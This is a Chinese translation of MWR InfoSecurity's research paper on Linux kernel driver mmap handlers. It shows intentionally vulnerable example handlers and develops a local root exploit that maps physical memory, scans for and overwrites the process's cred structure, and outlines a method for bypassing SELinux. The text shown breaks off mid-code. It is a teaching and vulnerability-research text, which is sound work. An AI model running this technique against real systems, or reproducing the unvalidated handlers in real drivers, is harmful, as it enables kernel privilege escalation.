前言

本文是Kernel Driver mmap Handler Exploitation的翻译文章。

(本文首发于先知社区:https://xianzhi.aliyun.com/forum/topic/2099
文章有点长,请善用目录)

1. 内核驱动程序简介

在实施Linux内核驱动程序期间,开发人员会注册一个设备驱动程序文件,该文件通常会在/dev/directory中注册。该文件可能支持普通文件的所有常规功能包括:opening,reading,writing,mmaping,closing等。

设备驱动程序文件支持的操作在file_operations结构中描述,其中包含许多函数指针,每个指针操作一个文件。内核4.9的结构定义可以在下面找到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct file_operations {
struct module *owner;
loff_t(*llseek) (struct file *, loff_t, int);
ssize_t(*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t(*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t(*read_iter) (struct kiocb *, struct iov_iter *);
ssize_t(*write_iter) (struct kiocb *, struct iov_iter *);
int(*iterate) (struct file *, struct dir_context *);
int(*iterate_shared) (struct file *, struct dir_context *);
unsigned int(*poll) (struct file *, struct poll_table_struct *);
long(*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long(*compat_ioctl) (struct file *, unsigned int, unsigned long);

int(*mmap) (struct file *, struct vm_area_struct *);

int(*open) (struct inode *, struct file *);
int(*flush) (struct file *, fl_owner_t id);
int(*release) (struct inode *, struct file *);
int(*fsync) (struct file *, loff_t, loff_t, int datasync);
int(*fasync) (int, struct file *, int);
int(*lock) (struct file *, int, struct file_lock *);
ssize_t(*sendpage) (struct file *, struct page *, int, size_t, loff_t *,
int);
unsigned long(*get_unmapped_area)(struct file *, unsigned long, unsigned
long, unsigned long, unsigned long);
int(*check_flags)(int);
int(*flock) (struct file *, int, struct file_lock *);
ssize_t(*splice_write)(struct pipe_inode_info *, struct file *, loff_t *,
size_t, unsigned int);
ssize_t(*splice_read)(struct file *, loff_t *, struct pipe_inode_info *,
size_t, unsigned int);
int(*setlease)(struct file *, long, struct file_lock **, void **);
long(*fallocate)(struct file *file, int mode, loff_t offset,loff_t len);
void(*show_fdinfo)(struct seq_file *m, struct file *f);
#ifndef CONFIG_MMU
unsigned(*mmap_capabilities)(struct file *);
#endif
ssize_t(*copy_file_range)(struct file *, loff_t, struct file *, loff_t,
size_t, unsigned int);
int(*clone_file_range)(struct file *, loff_t, struct file *, loff_t,u64);
ssize_t(*dedupe_file_range)(struct file *, u64, u64, struct file *, u64);
};

如上所示,可以实现大量的文件操作,但为了本文的目的,我们将仅关注mmap处理程序的实现。

下面是一个file_operations结构和相关函数的设置示例
/fs/proc/softirqs.c):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static int show_softirqs(struct seq_file *p, void *v)
{
int i, j;

seq_puts(p, " ");
for_each_possible_cpu(i)
seq_printf(p, "CPU%-8d", i);
seq_putc(p, '\n');

for (i = 0; i < NR_SOFTIRQS; i++) {
seq_printf(p, "%12s:", softirq_to_name[i]);
for_each_possible_cpu(j)
seq_printf(p, " %10u", kstat_softirqs_cpu(i, j));
seq_putc(p, '\n');
}
return 0;
}
static int softirqs_open(struct inode *inode, struct file *file)
{
return single_open(file, show_softirqs, NULL);
}
static const struct file_operations proc_softirqs_operations = {
.open = softirqs_open,
.read = seq_read,
.llseek = seq_lseek,
.release = single_release,
};
static int __init proc_softirqs_init(void)
{
proc_create("softirqs", 0, NULL, &proc_softirqs_operations);
return 0;
}

在上面的代码中可以看到,proc_softirqs_operations结构将允许调用
‘open’,’read’,’llseek’和’close’函数在其上执行。

当应用程序尝试打开时
一个softirqs文件,然后open系统调用将被调用,它指向的softirqs_open函数
就会被执行。

2.内核mmap处理程序

2.1简单mmap处理程序

如前所述,内核驱动程序可以实现它们自己的mmap处理程序。
mmap处理程序的主要目的是加快用户程序和内核空间之间的数据交换。 内核可能直接与用户地址空间共享一个内核缓冲区或一些物理范围的内存。 用户空间进程可以直接修改这个内存,而不需要额外的系统调用。

下面是一个简单的(并且不安全的)mmap处理程序的示例实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static struct file_operations fops =
{
.open = dev_open,
.mmap = simple_mmap,
.release = dev_release,
};

int size = 0x10000;

static int dev_open(struct inode *inodep, struct file *filep)
{
printk(KERN_INFO "MWR: Device has been opened\n");
filep->private_data = kzalloc(size, GFP_KERNEL);
if (filep->private_data == NULL)
return -1;
return 0;
}

static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device mmap\n");
if ( remap_pfn_range( vma, vma->vm_start, virt_to_pfn(filp->private_data),
vma->vm_end - vma->vm_start, vma->vm_page_prot )
)
{
printk(KERN_INFO "MWR: Device mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}

在上面列出的驱动程序打开期间,会调用dev_open函数,它将简单地分配一个0x10000字节的缓冲区,并在private_data字段中存储一个指针。 之后,如果该进程在该文件描述符上调用mmap,则将使用simple_mmap函数来处理mmap调用。

该函数将简单地调用remap_pfn_range函数,这个函数会在进程地址空间中创建一个新的映射,该映射将private_data缓冲区链接到vma-> vm_start地址,其大小定义为vma-> vm_end - vma-> vm_start

在这个文件上请求mmap的示例用户空间程序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int main(int argc, char * const * argv)
{
int fd = open("/dev/MWR_DEVICE", O_RDWR);

if (fd < 0)
{
printf("[-] Open failed!\n");
return -1;
}
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, 0x1000,
PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0x1000);
if (addr == MAP_FAILED)
{
perror("Failed to mmap: ");
close(fd);
return -1;
}
printf("mmap OK addr: %lx\n", addr);
close(fd);

return 0;
}

上面的代码在/dev/MWR_DEVICE驱动文件上调用mmap,大小等于0x1000,文件偏移设置为0x1000,目标地址设置为’0x42424000’。 成功的映射结果如下:

1
2
# cat /proc/23058/maps
42424000-42425000 rw-s 00001000 00:06 68639 /dev/MWR_DEVICE

###2.2 空的mmap处理程序
到目前为止,我们已经看到了mmap操作的最简单实现,但是如果我们的mmap处理函数只是一个空函数,会发生什么呢?

来看下面的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
static struct file_operations fops =
{
.open = dev_open,
.mmap = empty_mmap,
.release = dev_release,
labs.mwrinfosecurity.com| © MWR InfoSecurity 5
};

static int empty_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: empty_mmap\n");
return 0;
}

正如我们所看到的,只有日志功能被调用,以便我们可以观察到处理程序被调用。 当调用empty_mmap函数时,假设没有任何事情会发生,mmap将会失败,因为没有调用remap_pfn_range函数或类似的东西。 然而,这并不是事实。

让我们来运行我们的用户空间代码并检查发生了什么:

1
2
3
4
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x1000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);

dmesg日志中,可以看到我们的空处理程序已按照我们的预期成功调用:

1
2
[ 1119.393560] MWR: Device has been opened 1 time(s)
[ 1119.393574] MWR: empty_mmap

查看内存映射会看到一些意外的输出:

1
2
# cat /proc/2386/maps
42424000-42426000 rw-s 00001000 00:06 22305

我们还没有调用remap_pfn_range函数,但映射的创建过程与之前的情况相同。 唯一的区别是这个映射是’无效’的,因为我们没有将任何物理内存映射到该地址范围。但是我们试图在该范围内访问内存,根据所使用的内核,这种mmap的实现会导致进程崩溃或整个内核崩溃。

来尝试使用以下代码访问该范围内的一些内存:

1
2
3
4
5
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x1000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);
printf("addr[0]: %x\n", addr[0]);

正如预期的那样,程序崩溃了:

1
2
./mwr_client
Bus error

然而,据观察,在某些3.10 arm/arm64 Android内核中,类似的代码导致内核恐慌。

总之,作为一名开发人员,您不应该认为空处理程序会表现出可预测的性能,请始终使用正确的返回代码来处理内核中的给定情况

2.3带有vm_operations_struct的mmap处理程序

在mmap操作期间,可以使用vm_operations_struct结构为分配的内存区域上的多个其他操作(如处理未映射的内存,处理页面权限更改等)分配处理程序。

内核4.9的vm_operations_struct结构(/include/linux/mm.h)定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct vm_operations_struct {
void(*open)(struct vm_area_struct * area);
void(*close)(struct vm_area_struct * area);
int(*mremap)(struct vm_area_struct * area);
int(*fault)(struct vm_area_struct *vma, struct vm_fault *vmf);
int(*pmd_fault)(struct vm_area_struct *, unsigned long address, pmd_t *,
unsigned int flags);
void(*map_pages)(struct fault_env *fe, pgoff_t start_pgoff, pgoff_t
end_pgoff);
int(*page_mkwrite)(struct vm_area_struct *vma, struct vm_fault *vmf);
int(*pfn_mkwrite)(struct vm_area_struct *vma, struct vm_fault *vmf);
int(*access)(struct vm_area_struct *vma, unsigned long addr, void *buf, int
len, int write);
const char *(*name)(struct vm_area_struct *vma);
#ifdef CONFIG_NUMA
int(*set_policy)(struct vm_area_struct *vma, struct mempolicy *new);
struct mempolicy *(*get_policy)(struct vm_area_struct *vma, unsigned long
addr);
#endif
struct page *(*find_special_page)(struct vm_area_struct *vma, unsigned long
addr);
};

如上所示,有许多函数指针可以实现自定义处理函数。 这些例子在Linux设备驱动程序手册中有详细描述。

常见的行为是开发人员在实现内存分配时实施“fault”处理程序。 比如,看下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
static struct file_operations fops =
{
.open = dev_open,
.mmap = simple_vma_ops_mmap,
.release = dev_release,
};
static struct vm_operations_struct simple_remap_vm_ops = {
.open = simple_vma_open,
.close = simple_vma_close,
.fault = simple_vma_fault,
};
static int simple_vma_ops_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device simple_vma_ops_mmap\n");
vma->vm_private_data = filp->private_data;
vma->vm_ops = &simple_remap_vm_ops;
simple_vma_open(vma);
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}
void simple_vma_open(struct vm_area_struct *vma)
{
printk(KERN_NOTICE "MWR: Simple VMA open, virt %lx, phys %lx\n",
vma->vm_start, vma->vm_pgoff << PAGE_SHIFT);
}
void simple_vma_close(struct vm_area_struct *vma)
{
printk(KERN_NOTICE "MWR: Simple VMA close.\n");
}
int simple_vma_fault(struct vm_area_struct *vma, struct vm_fault *vmf)
{
struct page *page = NULL;
unsigned long offset;
printk(KERN_NOTICE "MWR: simple_vma_fault\n");
offset = (((unsigned long)vmf->virtual_address - vma->vm_start) + (vma>vm_pgoff
<< PAGE_SHIFT));
if (offset > PAGE_SIZE << 4)
goto nopage_out;
page = virt_to_page(vma->vm_private_data + offset);
vmf->page = page;
get_page(page);
nopage_out:
return 0;

在上面的代码中,可以看到simple_vma_ops_mmap函数用于处理mmap调用。 除了将一个simple_remap_vm_ops结构赋值为一个虚拟内存操作处理程序外,它什么也不做。

让我们考虑使用上面提供的代码在驱动程序上运行以下代码:

1
2
3
4
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x1000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);

在dmesg中给出了以下输出:

1
2
3
4
[268819.067085] MWR: Device has been opened 2 time(s)
[268819.067121] MWR: Device simple_vma_ops_mmap
[268819.067123] MWR: Simple VMA open, virt 42424000, phys 1000
[268819.067125] MWR: Device mmap OK

映射进程地址空间:

1
42424000-42425000 rw-s 00001000 00:06 140215 /dev/MWR_DEVICE

我们可以看到,调用了simple_vma_ops_mmap函数,并根据请求创建了内存映射。

在这个例子中,simple_vma_fault函数没有被调用。 问题是,我们在地址范围’0x42424000’-‘0x42425000’中有一个映射,但它指向哪里? 我们还没有定义这个地址范围指向物理内存的地方,所以如果进程试图访问’0x42424000’- ‘0x42425000’的任何一个部分,那么将会运行simple_vma_fault错误处理程序。

那么让我们看下面的用户空间代码:

1
2
3
4
5
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x2000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);
printf("addr[0]: %x\n", addr[0]);

上面代码中唯一的变化是我们用printf函数访问映射的内存。 由于内存位置无效,因此我们调用simple_vma_fault处理程序,如下面的dmesg输出所示:

1
2
3
4
5
[285305.468520] MWR: Device has been opened 3 time(s)
[285305.468537] MWR: Device simple_vma_ops_mmap
[285305.468538] MWR: Simple VMA open, virt 42424000, phys 1000
[285305.468539] MWR: Device mmap OK
[285305.468546] MWR: simple_vma_fault

simple_vma_fault函数内部,我们可以观察到offset变量是使用vmf>virtual_address来计算的,该变量指向在内存访问期间未映射的地址。在我们的例子中,这是’addr [0]’的地址。

下一页结构是通过使用virt_to_page宏来获得的,该宏导致新获得的页面被分配给vmf-> page变量。 这个赋值意味着当错误处理程序返回时,’addr [0]’将指向由simple_vma_fault函数计算出的一些物理内存。 这个内存可以被用户空间程序访问,而不需要任何额外的成本。

如果程序试图访问’addr [513]’(假设sizeof(无符号长整数)等于8),那么错误处理程序将被再次调用,因为’addr [0]’和’addr [513]’分别位于两个不同的 内存页面,并且只有一页内存已被映射。

因此下面的代码:

1
2
3
4
5
6
int fd = open("/dev/MWR_DEVICE", O_RDWR);
unsigned long size = 0x2000;
unsigned long * addr = (unsigned long *)mmap((void*)0x42424000, size, PROT_READ |
PROT_WRITE, MAP_SHARED, fd, 0x1000);
printf("addr[0]: %x\n", addr[0]);
printf("addr[513]: %x\n", addr[513])

将生成以下内核日志:

1
2
3
4
5
6
[286873.855849] MWR: Device has been opened 4 time(s)
[286873.855976] MWR: Device simple_vma_ops_mmap
[286873.855979] MWR: Simple VMA open, virt 42424000, phys 1000
[286873.855980] MWR: Device mmap OK
[286873.856046] MWR: simple_vma_fault
[286873.856110] MWR: simple_vma_fault

3.典型的mmap处理程序问题

3.1缺乏用户输入验证

让我们来考虑一下前面的mmap处理程序示例:

1
2
3
4
5
6
7
8
9
10
11
12
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device mmap\n");
if ( remap_pfn_range( vma, vma->vm_start, virt_to_pfn(filp->private_data),
vma->vm_end - vma->vm_start, vma->vm_page_prot ) )
{
printk(KERN_INFO "MWR: Device mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}

这个代码是实现mmap处理程序的常用方法,类似的代码可以在Linux设备驱动程序手册中找到。

这个示例代码的主要问题是,vma-> vm_endvma-> vm_start的值从不验证,而是直接作为大小参数传递给remap_pfn_range。 这意味着恶意进程可能会调用无限大小的mmap。

在我们的例子中,这将允许用户空间进程映射位于filp-> private_data缓冲区之后的所有物理内存地址空间,包括所有的内核内存。 这意味着恶意进程将能够从用户空间读取/写入内核内存。

下面是另一个流行的用例:

1
2
3
4
5
6
7
8
9
10
11
12
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device mmap\n");
if ( remap_pfn_range( vma, vma->vm_start, vma->vm_pgoff,
vma->vm_end - vma->vm_start, vma->vm_page_prot ) )
{
printk(KERN_INFO "MWR: Device mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}

在上面的代码中,我们可以看到用户控制的偏移vma-> vm_pgoff作为物理地址直接传递给remap_pfn_range函数。

这会导致恶意进程能够将任意物理地址传递给mmap,从而允许从用户空间访问所有内核内存。 这种情况经常会发生轻微的修改,例如在偏移被屏蔽或使用另一个值计算的情况下。

3.2 整数溢出

经常看到,开发人员将尝试使用复杂的计算,位掩码,位移,大小和偏移之和等来验证映射的大小和偏移量。然而不幸的是,这往往会创建一些复杂且不寻常的计算和验证程序,导致这些程序难以阅读。经过少量的size和offset的模糊处理后,可以找到绕过这些验证检查的值。

我们来看下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static int integer_overflow_mmap(struct file *filp, struct vm_area_struct *vma)
{
unsigned int vma_size = vma->vm_end - vma->vm_start;
unsigned int offset = vma->vm_pgoff << PAGE_SHIFT;
printk(KERN_INFO "MWR: Device integer_overflow_mmap( vma_size: %x, offset:
%x)\n", vma_size, offset);

if (vma_size + offset > 0x10000)
{
printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of
memory\n");
return -EAGAIN;
}

if (remap_pfn_range(vma, vma->vm_start, virt_to_pfn(filp->private_data),
vma_size, vma->vm_page_prot))
{
printk(KERN_INFO "MWR: Device integer_overflow_mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device integer_overflow_mmap OK\n");
return 0;
}

这是一个整数溢出漏洞的例子,当一个进程调用的大小等于0xfffa000并且偏移量为0xf0006的mmap2系统调用时,将触发这个漏洞。

因为偏移量在mmap处理程序中移到0xf0006000,将会发生整数溢出。0xfffa000和0xf0006000的总和等于0x100000000。
由于无符号整数的最大值是0xffffffff,因此最高有效位将被剥离,并且总和的最终值仅为0x0。结果是mmap系统调用会成功,大小为0xfffa000,进程将访问预期缓冲区之外的内存。

如前所述,有两个独立的系统调用mmap和mmap2。 mmap2系统调用允许使用32位off_t类型的应用程序通过支持用作偏移量参数的巨大值来映射大型文件(最多2 ^ 44个字节)。

有趣的是,mmap2系统调用通常在64位内核系统调用表中不可用。
但是,如果操作系统支持32位和64位进程,通常可以在32位进程内使用这些系统调用。 这是因为32位和64位进程使用单独的系统调用表。

3.3 带符号的整数类型

另一个常见问题是对大小变量使用带符号的类型。看下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int signed_integer_mmap(struct file *filp, struct vm_area_struct *vma)
{
int vma_size = vma->vm_end - vma->vm_start;
int offset = vma->vm_pgoff << PAGE_SHIFT;
printk(KERN_INFO "MWR: Device signed_integer_mmap( vma_size: %x, offset:
%x)\n", vma_size, offset);
if (vma_size > 0x10000 || offset < 0 || offset > 0x1000 || (vma_size + offset
> 0x10000))
{
printk(KERN_INFO "MWR: mmap failed, requested too large a chunk of
memory\n");
return -EAGAIN;
}
if (remap_pfn_range(vma, vma->vm_start, offset, vma->vm_end - vma->vm_start,
vma->vm_page_prot))
{
printk(KERN_INFO "MWR: Device signed_integer_mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device signed_integer_mmap OK\n");
return 0;
}

在上面的代码中,用户控制的数据存储在vma_sizeoffset中,它们都被声明为带符号整数。 然后通过以下代码行执行大小和偏移验证:

1
2
if (vma_size > 0x10000 || offset < 0 || offset > 0x1000 || (vma_size + offset >
0x10000))

不幸的是,因为vma_size被声明为一个有符号的整数,攻击者可能会使用负值(如0xf0000000)绕过此验证。 这将导致0xf0000000字节映射到用户地址空间。

4.利用mmap处理程序

4.1理论

到目前为止,我们已经理解了如何实现一个mmap处理程序,在这里我们可以找到常见问题,以及可以用来访问任意内存位置(通常是内核内存)的方法。

现在的问题是,为了获得root权限,我们可以用这些知识做些什么? 我们考虑两个基本情况:

1.当我们了解物理内存布局时(通常通过访问'/proc/iomem')
2.黑盒案例 - 我们只有一个大型的,oversized mmap

当我们了解物理内存布局时,我们可以轻松地检查我们映射的内存区域,并且可以尝试将其与虚拟地址相匹配。 这使我们能够精确地覆盖cred、函数指针等。

更有趣但更复杂的情况是黑盒的情况。 但是,这将适用于多种内核和体系结构,一旦编写了漏洞利用代码,它可能对许多不同的驱动程序有用。要利用这种情况,我们需要在记忆中找到一些可以直接告诉我们是否找到有用的东西的模式。

当我们开始考虑可以搜索的内容时,我们很快意识到:“我们可以搜索一些明显的模式,至少有16个字节,因为这是我们应该能够在其中找到几乎任何东西的整个内存”。 如果看看证书结构struct cred,那么我们会发现很多有趣的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative
to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

cred结构的目的是保持我们线程的凭据。 这意味着我们可以知道这个结构中的大部分值,因为我们可以简单地从/proc/<pid>/status中读取它们或使用系统调用来获取它们。

如果我们查看结构定义,那么我们观察到有八个连续的整数变量(uid,gid,suid,sgid等)。 这些后面跟着一个四字节的securebits变量,后面跟着四个或五个(实际的数字取决于内核版本)已知长长整型(cap_inheritable等)。

我们获得root权限的计划是:

 1.获取我们的凭证

2.扫描内存以查找8个整数的模式,与我们的凭证相匹配,然后允许我们的功能使用4-5 long long values. uids/gids和功能之间应该有四个字节的空间

3.将uids/gids替换为值0

4.调用getuid()并检查我们是否是root用户

5.如果是,请将值替换为值0xffffffffffffffff

6.如果没有,则恢复uids/gids的旧值,然后继续搜索; 从第2步开始重复

7.获取到root权限,打破循环。

在某些情况下,这个计划将不起作用,例如:

1.如果内核硬化且某些组件正在监视privesc(例如某些三星移动设备上的Knox)。

2.如果我们已经有一个0的uid。在这种情况下,我们可能会损害内核中的某些内容,因为内核在其内存中包含大量的0,并且我们的模式将无用。

3.如果启用了一些安全模块(SELinux,Smack等),我们可能会获得部分安全模块,但安全模块需要在后续步骤中绕过。

在安全模块的情况下,cred结构的security字段保存一个指向由内核使用的特定安全模块定义的结构的指针。 例如,对于SELinux,它将指向包含以下结构的内存区域:

1
2
3
4
5
6
7
8
struct task_security_struct {
u32 osid; /* SID prior to last execve */
u32 sid; /* current SID */
u32 exec_sid; /* exec SID */
u32 create_sid; /* fscreate SID */
u32 keycreate_sid; /* keycreate SID */
u32 sockcreate_sid; /* fscreate SID */
};

我们可以用一个我们有控制权的地址替security字段中的指针,并强制使用sid值。(如果给定的体系结构(如arm,aarch64)允许直接从内核访问用户空间映射,那么我们可以提供用户空间映射)

这个过程应该是相对较快的,因为像内核或init这样的大多数特权标签的值都应该在0到512之间。

要绕过SELinux,可以尝试以下步骤:

·准备一个新的SELinux策略,将我们当前的SELinux上下文设置为宽容

·伪造包含全零的伪安全结构

·尝试重新加载SELinux策略

·恢复旧的安全指针

·尝试执行之前由SELinux禁止的恶意操作

·如果它有效,我们已经绕过了SELinux

·如果不是,则在我们的伪安全结构中将sid值增加1,然后重试

4.2 基本的mmap处理程序利用

在本文的这一部分中,我们将尝试为以下代码开发完整的root exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static int simple_mmap(struct file *filp, struct vm_area_struct *vma)
{
printk(KERN_INFO "MWR: Device mmap\n");
printk(KERN_INFO "MWR: Device simple_mmap( size: %lx, offset: %lx)\n", vma>vm_end
- vma->vm_start, vma->vm_pgoff);

if (remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff, vma->vm_end - vma>vm_start,
vma->vm_page_prot))
{
printk(KERN_INFO "MWR: Device mmap failed\n");
return -EAGAIN;
}
printk(KERN_INFO "MWR: Device mmap OK\n");
return 0;
}

所提供的代码有两个漏洞:

1.'vma-> vm_pgoff'在没有验证的情况下被用作'remap_pfn_range'中的物理地址。
2.映射的大小将被传递给'remap_pfn_range', 没有经过验证。

在我们的漏洞利用开发的第一步中,让我们创建一些代码来触发漏洞并使用它来创建一个巨大的内存映射:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int main(int argc, char * const * argv)
{
printf("[+] PID: %d\n", getpid());
int fd = open("/dev/MWR_DEVICE", O_RDWR);
if (fd < 0)
{
printf("[-] Open failed!\n");
return -1;
}
printf("[+] Open OK fd: %d\n", fd);

unsigned long size = 0xf0000000;
unsigned long mmapStart = 0x42424000;
unsigned int * addr = (unsigned int *)mmap((void*)mmapStart, size, PROT_READ
| PROT_WRITE, MAP_SHARED, fd, 0x0);
if (addr == MAP_FAILED)
{
perror("Failed to mmap: ");
close(fd);
return -1;
}

printf("[+] mmap OK addr: %lx\n", addr);
int stop = getchar();
return 0;
}

上面的代码将打开易受攻击的驱动程序,并调用带有0xf0000000字节的mmap作为大小和等于0的偏移量。下面可以看到我们有日志显示对mmap的调用已成功:

1
2
3
4
$ ./mwr_client
[+] PID: 3855
[+] Open OK fd: 3
[+] mmap OK addr: 42424000

并确认我们可以在内存映射中观察到:

1
2
# cat /proc/3855/maps
42424000-132424000 rw-s 00000000 00:06 30941 /dev/MWR_DEVICE

另外,在dmesg中,可以看到mmap成功了:

1
2
3
4
[18877.692697] MWR: Device has been opened 2 time(s)
[18877.692710] MWR: Device mmap
[18877.692711] MWR: Device simple_mmap( size: f0000000, offset: 0)
[18877.696716] MWR: Device mmap OK

如果检查物理地址空间,那么我们可以看到,通过这个映射,可以访问下面标记为红色的所有内容。 这是因为我们传递了0作为物理地址位置,大小为0xf0000000字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# cat /proc/iomem
'00000000-00000fff : reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c7fff : Video ROM
000e2000-000e2fff : Adapter ROM
000f0000-000fffff : reserved
000f0000-000fffff : System ROM
00100000-dffeffff : System RAM
bac00000-bb20b1e1 : Kernel code
bb20b1e2-bb91c4ff : Kernel data
bba81000-bbb2cfff : Kernel bss
dfff0000-dfffffff : ACPI Tables
e0000000-ffdfffff : PCI Bus 0000:00
e0000000-e0ffffff : 0000:00:02.0'
f0000000-f001ffff : 0000:00:03.0
f0000000-f001ffff : e1000
f0400000-f07fffff : 0000:00:04.0
f0400000-f07fffff : vboxguest
f0800000-f0803fff : 0000:00:04.0
f0804000-f0804fff : 0000:00:06.0
f0804000-f0804fff : ohci_hcd
f0805000-f0805fff : 0000:00:0b.0
f0805000-f0805fff : ehci_hcd
fec00000-fec003ff : IOAPIC 0
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : reserved
100000000-11fffffff : System RAM

我们可以选择放大映射的大小,以便覆盖整个物理内存地址空间。 但是,我们不会这样做,这样就可以展示我们无法访问整个系统RAM时可能面临的一些限制。

下一步是在内存中实现对cred结构的搜索。 我们将按照第4.1节理论中的解释来做到这一点。 我们将稍微修改该过程,因为我们只需要搜索具有uid值的八个整数。

一个简单的实现如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int main(int argc, char * const * argv)
{
...
printf("[+] mmap OK addr: %lx\n", addr);

unsigned int uid = getuid();
printf("[+] UID: %d\n", uid);

unsigned int credIt = 0;
unsigned int credNum = 0;
while (((unsigned long)addr) < (mmapStart + size - 0x40))
{
credIt = 0;
if (
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid &&
addr[credIt++] == uid
)
{
credNum++;
printf("[+] Found cred structure! ptr: %p, credNum: %d\n", addr,
credNum);
}
addr++;
}
puts("[+] Scanning loop END");
fflush(stdout);

int stop = getchar();
return 0;
}

在漏洞输出中,可以看到我们已经发现了一些潜在的cred结构:

1
2
3
4
5
6
7
8
9
10
11
$ ./mwr_client
[+] PID: 5241
[+] Open OK fd: 3
[+] mmap OK addr: 42424000
[+] UID: 1000
[+] Found cred structure! ptr: 0x11a86e184, credNum: 1
[+] Found cred structure! ptr: 0x11a86e244, credNum: 2

[+] Found cred structure! ptr: 0x11b7823c4, credNum: 7
[+] Found cred structure! ptr: 0x11b782604, credNum: 8
[+] Found cred structure! ptr: 0x11b7c1244, credNum: 9

下一步是找出哪些cred结构属于我们的进程并升级它的uid/gid:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int main(int argc, char * const * argv)
{
...
printf("[+] mmap OK addr: %lx\n", addr);

unsigned int uid = getuid();
